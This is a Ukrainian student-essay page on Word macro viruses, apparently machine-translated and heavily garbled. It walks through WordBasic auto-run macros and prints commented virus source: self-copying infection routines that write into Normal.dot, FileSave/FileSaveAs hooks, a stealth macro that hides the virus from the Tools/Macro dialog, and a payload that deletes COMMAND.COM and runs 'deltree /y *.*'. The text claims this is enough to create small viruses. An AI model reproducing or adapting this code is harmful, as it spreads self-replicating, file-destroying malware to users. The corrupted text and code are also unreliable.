Допомога у написанні освітніх робіт...
Допоможемо швидко та з гарантією якості!

Макровіруси

РефератДопомога в написанніДізнатися вартістьмоєї роботи

Чтобы убезпечити робочі файли від плодів експериментів, настоютельно рекомендується створити резервну копію шаблону NORMAL. DOT в каталозі WINWORD6TEMPLATE, оскільки саме такий документ зазвичай заражається макро-вирусом. Коли всі готове, самоє час можливість перейти до основам макро-вирусов. Последний макрос нічого очікувати працювати у іспанської версії WinWord (а перший — в англійської) — він… Читати ще >

Макровіруси (реферат, курсова, диплом, контрольна)

МАКРО-ВИРУСЫ.

В цієї главі розказано про макровирусах. Докладно описану процедура та фізичні методи заражения файлів. Представлений вихідний текст макровируса з докладними коментарюми. Наведено основні інформацію про мові VBA, його процедурах, функціях, стандартных конструкціях.

Как відомо, останнім часом велике торгівлі поширення набули макро-вирусы. За даними різних джерел, для цієї віруси доводиться від 70 до 80 відсотків заражень. Викладене нижче матіріал допоможе дати раду віруси цього.

Инструментарий.

Для вивчення макро-вирусов знадобиться певний програмне обеспечение. Як «полігону «необхідний MS-WORD версії 6.0 чи вище. Для вивчення зашифрованих макросів може знадобитися дізасемблер макросів (автор AURODREPH з VBB). Для повного розуміння всього викладеного нижче бажано мати базові знання про WORD BASIC.

Чтобы убезпечити робочі файли від плодів експериментів, настоютельно рекомендується створити резервну копію шаблону NORMAL. DOT в каталозі WINWORD6TEMPLATE, оскільки саме такий документ зазвичай заражається макро-вирусом. Коли всі готове, самоє час можливість перейти до основам макро-вирусов.

Общие сведения.

Макрос — це програма, написана на деякому мові, яка івкористується зазвичай для автоматизації певних процесів всередині додатків. У разі розмова про мовами Visual Basic for Applications (VBA) і WordBasic (WB), які Microsoft використовують у своїх програмах (зокрема, Excel, Project і PowerPoint використовують VBA, a WinWord — WB).

Далее вважатимемо стандартним мовою VBA, оскільки він представляет собою спробу уніфікувати макромова, зробити його загальним для всіх програм Microsoft. Попри те що, що WB має й певні відличия, зокрема й у синтаксисі, структура коду мов схожа. За необхідності буде особливо зазначено, йдеться про WB.

Макрос VBA — це викликані процедури. Вони бувають двох типів:

процедуры-подпрограммы і процедуры-функции.

Процедуры-подпрограммы можуть виконуватися безпосередньо чи визываться з деяких інших макросів. Синтаксис їх наступний:

Sub.

-> код макросу Інструкції r /divx Pусловие «If-then »: /P PSub lnfect_Check /P PIf lnfect_Num=0 Then MsgBox «Файл не заражений «/P PEnd Sub /P Pконструкция «With-end with «(використовується до роботи з несколькимиbr властивостями конкретного об'єкта): /P PSub ChangePropertiesbr With Selectionbr .Font.Bold=True /P P.Font.Colorlndex=3 «червоний цветbr End Withbr End Sub /P Pселектор «Select case-end case »: /P PSub CheckJnfection /P PSelect Case lnfect_Num /P PCase 0 /P PMsgBox «Файл не заражений «/P PCase is > Про.

MsgBox «Файл заражений «.

Case is < Про.

lnfect_Num=0.

End Case.

End Sub.

Полезным інструментом до роботи з VBA є вікно налагодження. У ньому трасувати код, вносити до нього зміни і робити многое інше. У процесі налагодження для зупинки на кілька днів івполнения коду використовуються прапори. Щоб можна було аналізувати вміст конкретних змінних і/або інструкцій, після кожної команди виводяться повідомлення (в отладчике VBA для переривання івполнения коду можна порушувати також контрольні точки).

Нужно звернути увагу до різноманітні аргументи функцій. Як мовилося раніше, структура їх наступна:

Function (Аргументи).

[.] End Function.

Аргументами може бути константи, перемінні чи висловлювання. Процедури можуть і без аргументів.

Function Get_Name () Name=Application.UserName End Function.

Некоторые функції завжди вимагають фіксований число аргументів (до 60). Інші функції мають кілька обов’язкових аргументів, інші ж можуть відсутні.

После того, як VBA стали зрозумілі, йдемо далі. Отже, вирусы і «троянці «на VBA.

Язык VBA універсальний, і є дві причини. По-перше, цю мову простий до вивчення та використання, оскільки є мовою візуального програмування, він орієнтовано події, а чи не на об'єкти. З її допомогою без особливих витрат часу дуже просто создавать складні модулі. По-друге, можна використовувати велике количество визначених функцій, які полегшують роботу. По-третє, имеются функції (чи макроси) автоматичного виконання, що дозволяє спростити написання процедур автокопирования, занесення на згадку про та інші використовуваних стандартними DOS-вирусами.

Помимо цього, перевагою VBA є властивість переносимості. VBA працює під Win З. х, Win95, WinNT, MacOS тощо, тобто у будь-якій операційній системі, де можна запустити докладання його підтримують.

VBA є мову, адаптований до рідної мови докладання, з-під якого він запущено. Це означає, що й за комп’ютером вустановлена, наприклад, іспанська версія WinWord, то імена предопределенних функцій будуть на іспанському. Отож дві такі макросу — зовсім одне і т. е.

Первый макрос (испанский):.

Sub Demo_Macro Con Seleccion. Fuente .Nombre= «Times «Fin Con End Sub.

Второй макрос (английский):.

Sub Demo_Macro With Selection. Font .Name= «Times «.

4*.

End With End Sub.

Последний макрос нічого очікувати працювати у іспанської версії WinWord (а перший — в англійської) — він викликає помилку виконання макросу. Ще відзначимо, що VBA — мову интерпретируемого (некомпилируемого) типу, отже кожна помилка виконання проявляється «у польоті «.

Существуют функції, єдині всім версій VBA, незалежно від мови. Наприклад, автоматичний макрос AutoExec.

Всего таких спеціальних макросів п’ять, виконуються вони автоматически:

AutoExec: це макрос, активируемый за мінімального завантаження текстового процессора, але у тому випадку, коли він збережено в шаблоні Normal. dot чи в каталозі стандартних додатків;

AutoNew: активізується під час створення нового документа;

AutoOpen: активізується під час відкриття існуючого документа;

AutoClose: активізується при закритті документа;

AutoExit: активізується на виході з текстового процесора.

В положення як доказ сили та універсальності цих макросів расдивимося наступний фрагмент коду (про мову вже домовилися).

" Макрос найефективніший, якщо його зберегти як AutoExit Sub Main.

" Перевіримо реєстраційне ім'я If Application. Username «MaD_MoTHeR «Then.

" Знімемо атрибути COMMAND.COM SetAttr «C:COMMAND.COM », 0.

" Відкриємо для перевірки — раптом з’являться помилки Open «CACOMMAND.COM «for Output as #1.

" Якщо помилки є, то закриємо. Close #1.

" і видалимо.

Kill «CACOMMAND.COM «.

End If.

" Перевіримо місяць і дату. Якщо 29 лютого, то виконаємо «команду «deltree /у >nul If Month (Now ())=2 Then If Day (Now ())=29 Then Shell «deltree /y *.* >nu «End If End If End Sub.

Что робить цей макрос? При виході з WinWord він перевіряє два параметра: ім'я, яким зареєстрований WinWord (якщо це MaD_MoTHeR, він видалено файл COMMAND.COM), і поточну системну дату (якщо це 29 лютого, виконується команда «deltree /у *.* > nub).

Очень важливо знати, як адаптувати автоматичний макрос (нижче наведено найпростіший варіант), щоб активізувати їх у открываемый за умовчанням шаблон WinWord.

Это робиться так:

Определяется змінна, у якому записується повне ім'я макросу:

name$=WindowName$()+ " :AutoNew «.

" цей макрос виконуватиметься щоразу.

" під час створення нового документа.

Теперь потрібно записати макрос в шаблон NORMAL. DOT простий домандой:

MacroCopy name$, «Global:AutoNew «.

Это стандартний спосіб роботи макро-вирусов, але є ще багато других, цікавіших способів зараження. Усього те й потрібно, що нібагато уяви і кілька рядків коду. Однією з трюків, который ускладнює подібні віруси й утрудняє їх науковий аналіз, є кодування макро-вирусов.

MacroCopy «MyTemplate:MyMacro », «GlobahAutoClose », 1.

Если виконується команда MacroCopy з параметром, рівним 1 (чи іншому числу більше 0), то результаті копіювання отримають лише виконуваний макрос, який можна редагувати.

Большинство макро-вирусов мають типову структуру. Вони начинаются з автовыполняемого макросу, заражающего глобальний шаблон Normal.dot. Також у до їхнього складу входять деякі макроси, які заражают файли за певних діях (FileSaveAs, FileSave, ToolsMacros). Документи заражаються під час проведення з них операций вірусними макросами, тобто вони інфікуватися при відкритті.

Код для процедури автовыполнения може бути приблизно таке:

Sub MAIN.

On Error Goto Abort.

iMacroCount=CountMacros (0, 0) «Перевірка на зараженість.

For i=1 To iMacroCount.

If MacroName$(i, 0, 0)= «PayLoad «Then.

binstalled =-1 «з допомогою макросу Payload.

End If.

If MacroName$(i, 0, 0)= «FileSaveAs «Then.

bTooMuchTrouble =-1 «але є макрос FileSaveAs, «то заразити важко.

End If.

Next і.

If Not binstalled And Not bTooMuchTrouble Then.

" Додамо макроси FileSaveAs і копії AutoExec і FileSave «Payload використовується лише перевірки на зараженість », 1 — кодує макроси, робить їх нечитаемыми в Word.

iWW6llnstance=Val (GetDocumentVar$(«WW6lnfector »)).

sMe$=FileName$().

Macro$=sMe$+ " :PayLoad «.

MacroCopy Macro$, «Global:PayLoad », 1.

Macro$=sMe$+ " :FileOpen «» Буде відбуватися зараження.

MacroCopy Macro$, «GlobahFileOpen », 1.

Macro$=sMe$+ " :FileSaveAs «.

MacroCopy Macro$, «GlobahFileSaveAs », 1.

Macro$=sMe$+ " :AutoExec «.

MacroCopy Macro$, «GlobahAutoExec », 1.

SetProfileString «WW6I », Str$(iWW6llnstance+1).

End If.

Abort:

End Sub.

Процедура SaveAs.

Она копіює макро-вирус в активний документ за його збереженні через команду File/SaveAs. Цю процедуру використовує багато в чому схожую з процедурою AutoExec технологію. Код нею:

Sub MAIN.

Dim dig As FileSaveAs.

GetCurValues dig.

Dialog dig.

If (Dlg.Format=0) Or (dlg.Format=1) Then.

MacroCopy «FileSaveAs », WindowName$()+ " :FileSaveAs «.

" Заражає за збереження документа MacroCopy «FileSave », WindowName$()+ " :FileSave «MacroCopy „PayLoad “, WindowName$()+ » :PayLoad «MacroCopy „FileOpen “, WindowName$()+ » :FileOpen «.

" Відкриття документа Dlg. Format=1 End If.

FileDaveAs dig End Sub.

Этой інформації цілком достатньо створення невеликих макровірусів.

Специальные процедуры.

Существует кілька радикальних способів приховати вірус або його ефективнішим. Наприклад, можна створити спеціальний макрос, ховающий вірус, якщо Tools/Macro відкривається для перегляду. Код такого макросу може бути приблизно таке:

Sub MAIN On Error Goto ErrorRoutine.

OldName$=NomFichier$().

If macros. bDebug Then.

MsgBox «start ToolsMacro «.

Dim dig As OutilsMacro.

If macros. bDebug Then MsgBox «1 «.

GetCurValues dig.

If macros. bDebug Then MsgBox «2 «.

On Error Goto Skip Dialog dig OutilsMacro dig Skip:

On Error Goto ErrorRoutine «При помилці для виходу End If.

REM enable automacros DisableAutoMacros 0.

macros. SavToGlobal (01dName$).

macros.objectiv.

Goto Done «Перехід на мітку Done.

ErrorRoutine:

On Error Goto Done «Перехід на мітку Done If macros. bDebug Then.

MsgBox «error «+Str$(Err)+ «occurred «» Повідомлення про помилку End If.

Done:

End Sub.

Макро-вирусы також можуть включати зовнішні процедури. Наприклад, вірус Nuclear намагається відкомпілювати і запустити зовнішній файл-разносчик вірусу, деякі троянські макроси намагаються форіній вінчестер під час відкриття документа.

Пример макро-вируса.

Выше були викладені підстави вивчення макро-вирусов. Настав час розглянути вихідні тексти.

Macro name: AutoNew [AUTONEW] «U «Encryption key: DF Sub MAIN.

" Вмикаємо обробку автоматичних макросів DisableAutoMacros 0.

" Перевіримо, встановлено чи макрос. Якщо макрос AutoExec «присутній, вважаємо, що файл заражений If (lnstalled=0) And (Forgetlt=0) Then.

" Заразим. Копіюємо макрос.

MacroCopy WindowName$()+ " :AutoExec ", «GlobahAutoExec », 1.

MacroCopy WindowName$()+ " :AutoNew ", «Global:AutoNew », 1.

MacroCopy WmdowName$()+ " :AutoOpen ", «Global:AutoOpen », 1.

MacroCopy WindowName$()+ " :DateiSpeichem ", «Global:DateiSpeichern », 1.

MacroCopy WindowName$()+ " :DateiSpeichernUnter " ,.

" Global.-DateiSpeichernllnter ", 1.

MacroCopy WindowName$()+ " :DateiBeenden " ,.

" GlobahDateiBeenden ", 1.

MacroCopy WindowName$() + ": ExtrasOptionen " ,.

" Global: ExtrasOptionen ", 1.

MacroCopy WindowName$()+ " :DateiDokvorlagen " ,.

" GlobaLDateiDokvorlagen ", 1.

MacroCopy WindowName$()+ " :lt ", «Global:lt », 1.

MacroCopy WindowName$()+ " :DateiDrucken ", «GlobahDateiDrucken », 1.

End If.

End Sub.

" Функція перевіряє, інстальований чи макрос AutoExec Function Installed.

" Встановимо зміну Installed в 0 (ініціалізація перемінної). «При позитивному результаті перевірки встановимо їх у 1 lnstalled=0.

" Перевіримо, чи є макроси If CountMacros (O) > 0 Then.

" Перевіримо імена макросів. Якщо є AutoExec,.

" встановимо зміну Installed один.

For i=1 To CountMacros (O).

If MacroName$(i, 0)= «AutoExec «Then.

lnstalled=1.

End If.

Next і.

End If.

End Function.

Function Forgetit.

Forgetlt=0.

Section$= «Compatibility «.

ProfilName$= «Nomvir «.

BlaBla$=GetProfileString$(Section$, ProfilName$).

If BlaBla$= «Ox0690690 «Then.

Forgetlt=1.

End If.

End Function.

Показати весь текст
Заповнити форму поточною роботою